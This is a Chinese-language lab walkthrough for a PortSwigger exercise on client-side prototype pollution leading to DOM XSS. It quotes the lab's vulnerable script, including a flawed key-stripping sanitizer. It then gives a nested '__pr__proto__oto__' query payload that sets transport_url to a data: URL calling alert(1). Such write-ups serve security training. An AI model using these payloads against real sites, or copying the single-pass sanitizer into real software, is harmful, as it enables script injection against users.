从业者-客户端原型链污染-绕过有缺陷的清理
# 实验室:客户端原型链污染-绕过有缺陷的清理
# 题目
此实验室容易受到客户端原型链污染以及 DOM型XSS (opens new window) 的影响。尽管开发人员已经实施了针对原型链污染的防御措施,但这些措施很容易被绕过。
若要解决实验室问题,请:
- 找到一个可以向全局
Object.prototype
添加任意属性的源。 - 确定一个允许你执行任意 JavaScript 的小工具属性。
- 将它们组合起来以调用
alert()
。
- name: 实验室-从业者
desc: 客户端原型链污染-绕过有缺陷的清理 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-client-side-prototype-pollution-via-flawed-sanitization
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
/?__proto__[恶意属性]=值
/?__pr__proto__oto__[恶意属性]=值
1
2
3
2
3
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
window.addEventListener("load", searchLogger);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
config.transport_url;
script.src = config.transport_url;
1
2
2
/?__pr__proto__oto__[transport_url]=data:,alert(1)//
1
编辑 (opens new window)